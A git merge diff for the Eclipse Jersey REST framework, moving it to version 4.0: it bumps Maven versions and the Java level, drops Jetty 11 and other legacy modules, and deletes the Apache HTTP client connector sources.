Merge remote-tracking branch 'origin/3.1.JPMS' into 'origin/4.0'

Signed-off-by: Maxim Nesen <maxim.nesen@oracle.com>
diff --git a/NOTICE.md b/NOTICE.md
index 1935ed0..c07f4ea 100644
--- a/NOTICE.md
+++ b/NOTICE.md
@@ -41,7 +41,7 @@
 * Project: http://aopalliance.sourceforge.net

 * Copyright: Material in the public domain is not protected by copyright

 

-Bean Validation API 3.0.2

+Bean Validation API 3.1.0

 * License: Apache License, 2.0

 * Project: https://projects.eclipse.org/projects/ee4j.bean-validation

 * Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors

diff --git a/archetypes/jersey-example-java8-webapp/pom.xml b/archetypes/jersey-example-java8-webapp/pom.xml
index 0deeaea..74d26f2 100644
--- a/archetypes/jersey-example-java8-webapp/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-example-java8-webapp</artifactId>
diff --git a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
index 678b7e2..e50c9e8 100644
--- a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
@@ -123,7 +123,7 @@
     </profiles>
 
     <properties>
-        <java.version>11</java.version>
+        <java.version>17</java.version>
         <jersey.config.test.container.port>8080</jersey.config.test.container.port>
     </properties>
 </project>
diff --git a/archetypes/jersey-heroku-webapp/pom.xml b/archetypes/jersey-heroku-webapp/pom.xml
index 98a4479..1308c2b 100644
--- a/archetypes/jersey-heroku-webapp/pom.xml
+++ b/archetypes/jersey-heroku-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <packaging>maven-archetype</packaging>
 
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
index edfed3d..436e788 100644
--- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
@@ -91,7 +91,7 @@
             <plugin>
                 <groupId>org.eclipse.jetty.ee10</groupId>
                 <artifactId>jetty-ee10-maven-plugin</artifactId>
-                <version>\${jetty.version}</version>
+                <version>\${jetty.plugin.version}</version>
                 <configuration>
                     <contextPath>/</contextPath>
                     <webApp>
diff --git a/archetypes/jersey-quickstart-grizzly2/pom.xml b/archetypes/jersey-quickstart-grizzly2/pom.xml
index ed7462f..f9a81f5 100644
--- a/archetypes/jersey-quickstart-grizzly2/pom.xml
+++ b/archetypes/jersey-quickstart-grizzly2/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <artifactId>jersey-quickstart-grizzly2</artifactId>
     <packaging>maven-archetype</packaging>
diff --git a/archetypes/jersey-quickstart-webapp/pom.xml b/archetypes/jersey-quickstart-webapp/pom.xml
index 3ee5e7f..95281c1 100644
--- a/archetypes/jersey-quickstart-webapp/pom.xml
+++ b/archetypes/jersey-quickstart-webapp/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>maven-archetype</packaging>
diff --git a/archetypes/pom.xml b/archetypes/pom.xml
index 3899e2d..cdc570d 100644
--- a/archetypes/pom.xml
+++ b/archetypes/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.archetypes</groupId>
diff --git a/bom/pom.xml b/bom/pom.xml
index 5aef522..d2e8b07 100644
--- a/bom/pom.xml
+++ b/bom/pom.xml
@@ -30,7 +30,7 @@
 
     <groupId>org.glassfish.jersey</groupId>
     <artifactId>jersey-bom</artifactId>
-    <version>3.5.99-SNAPSHOT</version>
+    <version>4.0.99-SNAPSHOT</version>
     <packaging>pom</packaging>
     <name>jersey-bom</name>
 
@@ -54,16 +54,6 @@
                 <version>${project.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish.jersey.bundles</groupId>
-                <artifactId>jaxrs-ri</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.connectors</groupId>
-                <artifactId>jersey-apache-connector</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-apache5-connector</artifactId>
                 <version>${project.version}</version>
@@ -90,11 +80,6 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
-                <artifactId>jersey-jetty11-connector</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-jetty-http2-connector</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -115,11 +100,6 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.containers</groupId>
-                <artifactId>jersey-container-jetty11-http</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.containers</groupId>
                 <artifactId>jersey-container-jetty-http2</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -159,11 +139,6 @@
                 <version>${project.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish.jersey.containers</groupId>
-                <artifactId>jersey-container-simple-http</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.glassfish.jersey.containers.glassfish</groupId>
                 <artifactId>jersey-gf-ejb</artifactId>
                 <version>${project.version}</version>
@@ -369,11 +344,6 @@
                 <version>${project.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish.jersey.inject</groupId>
-                <artifactId>jersey-cdi2-se</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.glassfish.jersey.test-framework</groupId>
                 <artifactId>jersey-test-framework-core</artifactId>
                 <version>${project.version}</version>
@@ -406,11 +376,6 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                <artifactId>jersey-test-framework-provider-simple</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.test-framework.providers</groupId>
                 <artifactId>jersey-test-framework-provider-jetty</artifactId>
                 <version>${project.version}</version>
             </dependency>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml
index e2d0f86..67a5084 100644
--- a/bundles/apidocs/pom.xml
+++ b/bundles/apidocs/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>apidocs</artifactId>
@@ -61,11 +61,6 @@
         <!-- CONNECTORS -->
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -123,14 +118,8 @@
             <artifactId>jakarta.persistence-api</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish</groupId>
-            <artifactId>javax.servlet</artifactId>
-            <version>3.1.1</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-simple-http</artifactId>
-            <version>${project.version}</version>
+            <groupId>jakarta.servlet</groupId>
+            <artifactId>jakarta.servlet-api</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -144,6 +133,16 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-netty-http</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-grizzly2-http</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -165,6 +164,11 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-gson</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-json-jackson</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -284,10 +288,7 @@
                         <configuration>
                             <includeDependencySources>true</includeDependencySources>
                             <sourceFileExcludes>
-                                <fileExclude>META-INF/versions/12/org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
-                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/*.java</fileExclude>
-                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/connector/*.java</fileExclude>
-                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
+                                <fileExclude>META-INF/versions/21/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
                                 <fileExclude>org/glassfish/jersey/helidon/connector/*.java</fileExclude>
                                 <fileExclude>org/glassfish/jersey/jetty/*.java</fileExclude>
                                 <fileExclude>org/glassfish/jersey/jetty/connector/*.java</fileExclude>
@@ -331,61 +332,4 @@
             </plugin>
         </plugins>
     </build>
-    <profiles>
-        <profile>
-            <id>jetty11</id>
-            <activation>
-                <activeByDefault>true</activeByDefault>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <dependencyManagement>
-                <dependencies>
-                    <dependency>
-                        <groupId>org.glassfish.jersey.connectors</groupId>
-                        <artifactId>jersey-jetty11-connector</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>
-                    <!--<dependency>
-                        <groupId>org.glassfish.jersey.connectors</groupId>
-                        <artifactId>jersey-jetty11-http2-connector</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>
-                    <dependency>
-                        <groupId>org.glassfish.jersey.containers</groupId>
-                        <artifactId>jersey-container-jetty11-http</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>
-                    <dependency>
-                        <groupId>org.glassfish.jersey.containers</groupId>
-                        <artifactId>jersey-container-jetty11-http2</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
-                </dependencies>
-            </dependencyManagement>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty11-connector</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <!--<dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty11-http2-connector</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty11-http</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty11-http2</artifactId>
-                    <version>${project.version}</version>
-                </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
-            </dependencies>
-        </profile>
-    </profiles>
 </project>
diff --git a/bundles/examples/pom.xml b/bundles/examples/pom.xml
index 69f2757..72311ee 100644
--- a/bundles/examples/pom.xml
+++ b/bundles/examples/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-examples</artifactId>
@@ -380,6 +380,7 @@
             <classifier>project-src</classifier>
             <type>zip</type>
         </dependency>
+<!--
         <dependency>
             <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>managed-beans-webapp</artifactId>
@@ -394,6 +395,7 @@
             <classifier>gf-project-src</classifier>
             <type>zip</type>
         </dependency>
+-->
         <dependency>
             <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>managed-client</artifactId>
diff --git a/bundles/jaxrs-ri/pom.xml b/bundles/jaxrs-ri/pom.xml
index a90dd5a..f732ffd 100644
--- a/bundles/jaxrs-ri/pom.xml
+++ b/bundles/jaxrs-ri/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-ri</artifactId>
@@ -278,9 +278,9 @@
                             jersey.repackaged.org.objectweb.asm.*;version=${project.version}
                         </Export-Package>
                         <Import-Package><![CDATA[
-                            jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,7.0)",
-                            jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,7.0)",
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.annotation.*;resolution:=optional;version="[6.0,7.0)",
+                            jakarta.servlet.descriptor.*;resolution:=optional;version="[6.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jakarta.annotation.osgi.version},
                             jakarta.persistence.*;resolution:=optional,
                             jakarta.validation.*;resolution:=optional;version="[3,4)",
diff --git a/bundles/pom.xml b/bundles/pom.xml
index 2a6ce36..1073c5c 100644
--- a/bundles/pom.xml
+++ b/bundles/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.bundles</groupId>
@@ -34,9 +34,9 @@
 
     <description>Jersey bundles providers umbrella project module.</description>
 
-    <modules>
-        <module>jaxrs-ri</module>
-    </modules>
+<!--    <modules>-->
+<!--        <module>jaxrs-ri</module>-->
+<!--    </modules>-->
 
     <profiles>
         <profile>
diff --git a/connectors/apache-connector/pom.xml b/connectors/apache-connector/pom.xml
deleted file mode 100644
index 19829c2..0000000
--- a/connectors/apache-connector/pom.xml
+++ /dev/null
@@ -1,101 +0,0 @@
-<?xml version="1.0"?>
-<!--
-
-    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.connectors</groupId>
-        <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-apache-connector</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-connectors-apache</name>
-
-    <description>Jersey Client Transport via Apache</description>
-
-    <properties>
-        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-    </properties>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>commons-codec</groupId>
-                    <artifactId>commons-codec</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>commons-logging</groupId>
-                    <artifactId>commons-logging</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-grizzly2-http</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>commons-codec</groupId>
-            <artifactId>commons-codec</artifactId>
-            <version>${commons.codec.version}</version>
-        </dependency>
-
-        <dependency>
-            <groupId>commons-logging</groupId>
-            <artifactId>commons-logging</artifactId>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-        </plugins>
-    </build>
-
-</project>
\ No newline at end of file
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheClientProperties.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheClientProperties.java
deleted file mode 100644
index 099fa31..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheClientProperties.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.util.Map;
-
-import org.glassfish.jersey.internal.util.PropertiesClass;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-
-/**
- * Configuration options specific to the Client API that utilizes {@link ApacheConnectorProvider}.
- *
- * @author jorgeluisw@mac.com
- * @author Paul Sandoz
- * @author Pavel Bucek
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-@PropertiesClass
-public final class ApacheClientProperties {
-
-    /**
-     * The credential provider that should be used to retrieve
-     * credentials from a user. Credentials needed for proxy authentication
-     * are stored here as well.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.client.CredentialsProvider}.
-     * <p/>
-     * If the property is absent a default provider will be used.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String CREDENTIALS_PROVIDER = "jersey.config.apache.client.credentialsProvider";
-
-    /**
-     * A value of {@code false} indicates the client should handle cookies
-     * automatically using HttpClient's default cookie policy. A value
-     * of {@code true} will cause the client to ignore all cookies.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String DISABLE_COOKIES = "jersey.config.apache.client.handleCookies";
-
-    /**
-     * A value of {@code true} indicates that a client should send an
-     * authentication request even before the server gives a 401
-     * response.
-     * <p>
-     * This property may only be set prior to constructing Apache connector using {@link ApacheConnectorProvider}.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String PREEMPTIVE_BASIC_AUTHENTICATION = "jersey.config.apache.client.preemptiveBasicAuthentication";
-
-    /**
-     * Connection Manager which will be used to create {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.conn.HttpClientConnectionManager}.
-     * <p/>
-     * If the property is absent a default Connection Manager will be used
-     * ({@link org.apache.http.impl.conn.BasicHttpClientConnectionManager}).
-     * If you want to use this client in multi-threaded environment, be sure you override default value with
-     * {@link org.apache.http.impl.conn.PoolingHttpClientConnectionManager} instance.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String CONNECTION_MANAGER = "jersey.config.apache.client.connectionManager";
-
-    /**
-     * A value of {@code true} indicates that configured connection manager should be shared
-     * among multiple Jersey {@code ClientRuntime} instances. It means that closing
-     * a particular {@code ClientRuntime} instance does not shut down the underlying
-     * connection manager automatically. In such case, the connection manager life-cycle
-     * should be fully managed by the application code. To release all allocated resources,
-     * caller code should especially ensure {@link org.apache.http.conn.HttpClientConnectionManager#shutdown()} gets
-     * invoked eventually.
-     * <p>
-     * This property may only be set prior to constructing Apache connector using {@link ApacheConnectorProvider}.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     *
-     * @since 2.18
-     */
-    public static final String CONNECTION_MANAGER_SHARED = "jersey.config.apache.client.connectionManagerShared";
-
-    /**
-     * Request configuration for the {@link org.apache.http.client.HttpClient}.
-     * Http parameters which will be used to create {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.client.config.RequestConfig}.
-     * <p/>
-     * If the property is absent the default request configuration will be used.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     *
-     * @since 2.5
-     */
-    public static final String REQUEST_CONFIG = "jersey.config.apache.client.requestConfig";
-
-    /**
-     * HttpRequestRetryHandler which will be used to create {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.client.HttpRequestRetryHandler}.
-     * <p/>
-     * If the property is absent a default retry handler will be used
-     * ({@link org.apache.http.impl.client.DefaultHttpRequestRetryHandler}).
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String RETRY_HANDLER = "jersey.config.apache.client.retryHandler";
-
-    /**
-     * ConnectionReuseStrategy for the {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.ConnectionReuseStrategy}.
-     * <p/>
-     * If the property is absent the default reuse strategy of the Apache HTTP library will be used.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String REUSE_STRATEGY = "jersey.config.apache.client.reuseStrategy";
-
-    /**
-     * ConnectionKeepAliveStrategy for the {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.conn.ConnectionKeepAliveStrategy}.
-     * <p/>
-     * If the property is absent the default keepalive strategy of the Apache HTTP library will be used
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String KEEPALIVE_STRATEGY = "jersey.config.apache.client.keepAliveStrategy";
-
-
-    /**
-     * <p>
-     *  Strategy that closes the Apache Connection. Accepts an instance of {@link ApacheConnectionClosingStrategy}.
-     * </p>
-     *
-     * @see ApacheConnectionClosingStrategy
-     * @since 2.30
-     */
-    public static final String CONNECTION_CLOSING_STRATEGY = "jersey.config.apache.client.connectionClosingStrategy";
-
-    /**
-     * A value of {@code false} indicates the client will use default ApacheConnector params. A value
-     * of {@code true} will cause the client to take into account the system properties
-     * {@code https.protocols}, {@code https.cipherSuites}, {@code http.keepAlive},
-     * {@code http.maxConnections}.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String USE_SYSTEM_PROPERTIES = "jersey.config.apache.client.useSystemProperties";
-
-    /**
-     * Get the value of the specified property.
-     *
-     * If the property is not set or the actual property value type is not compatible with the specified type, the method will
-     * return {@code null}.
-     *
-     * @param properties    Map of properties to get the property value from.
-     * @param key           Name of the property.
-     * @param type          Type to retrieve the value as.
-     * @param <T>           Type of the property value.
-     * @return Value of the property or {@code null}.
-     *
-     * @since 2.8
-     */
-    public static <T> T getValue(final Map<String, ?> properties, final String key, final Class<T> type) {
-        return PropertiesHelper.getValue(properties, key, type, null);
-    }
-
-    /**
-     * Prevents instantiation.
-     */
-    private ApacheClientProperties() {
-        throw new AssertionError("No instances allowed.");
-    }
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectionClosingStrategy.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectionClosingStrategy.java
deleted file mode 100644
index 96c3ee0..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectionClosingStrategy.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.client.methods.HttpUriRequest;
-import org.glassfish.jersey.client.ClientRequest;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-/**
- * /**
- * Strategy that defines the way the Apache client releases resources. The client enables closing the content stream
- * and the response. From the Apache documentation:
- * <pre>
- *     The difference between closing the content stream and closing the response is that
- *     the former will attempt to keep the underlying connection alive by consuming the
- *     entity content while the latter immediately shuts down and discards the connection.
- * </pre>
- * With Apache Client before 4.5.1, it was ok to close the response and the content stream. This is the default for
- * Apache Client 4.5 and older.
- * <p/>
- * For Apache Client 4.5.1+, first the content stream and the response is should be closed.
- * <p/>
- * In the case of Chunk content stream, the stream is not closed on the server side, and the client can hung on reading
- * the closing chunk. Using the {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT} property can prevent
- * this hanging forever and the reading of the closing chunk is terminated when the time is out. The other option, when
- * the timeout is not set, is to abort the Apache client request. This is the default for Apache Client 4.5.1+ when the
- * read timeout is not set.
- * <p/>
- * Another option is not to close the content stream, which is possible by the Apache client documentation. In this case,
- * however, the server side may not be notified and would not not close its chunk stream.
- */
-public interface ApacheConnectionClosingStrategy {
-    /**
-     * Method to close the connection.
-     * @param clientRequest The {@link ClientRequest} to get {@link ClientRequest#getConfiguration() configuration},
-     *                      and {@link ClientRequest#resolveProperty(String, Class) resolve properties}.
-     * @param request Apache {@code HttpUriRequest} that can be {@code abort}ed.
-     * @param response Apache {@code CloseableHttpResponse} that can be {@code close}d.
-     * @param stream The entity stream that can be {@link InputStream#close() closed}.
-     * @throws IOException In case of some of the closing methods throws {@link IOException}
-     */
-    void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream)
-            throws IOException;
-
-    /**
-     * Strategy that aborts Apache HttpRequests for the case of Chunked Stream, closes the stream, and response next.
-     */
-    class GracefulClosingStrategy implements ApacheConnectionClosingStrategy {
-        private static final String UNIX_PROTOCOL = "unix";
-
-        static final GracefulClosingStrategy INSTANCE = new GracefulClosingStrategy();
-
-        @Override
-        public void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream)
-                throws IOException {
-            if (response.getEntity() != null && response.getEntity().isChunked()
-                    && !request.getURI().getScheme().equals(UNIX_PROTOCOL)) {
-                request.abort();
-            }
-            try {
-                stream.close();
-            } catch (IOException ex) {
-                // Ignore
-            } finally {
-                response.close();
-            }
-        }
-    }
-
-    /**
-     * Strategy that closes the response and content stream next. This is a behaviour of Jersey 2.28.
-     */
-    class ImmediateClosingStrategy implements ApacheConnectionClosingStrategy {
-        static final ImmediateClosingStrategy INSTANCE = new ImmediateClosingStrategy();
-
-        @Override
-        public void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream)
-                throws IOException {
-            response.close();
-            stream.close();
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
deleted file mode 100644
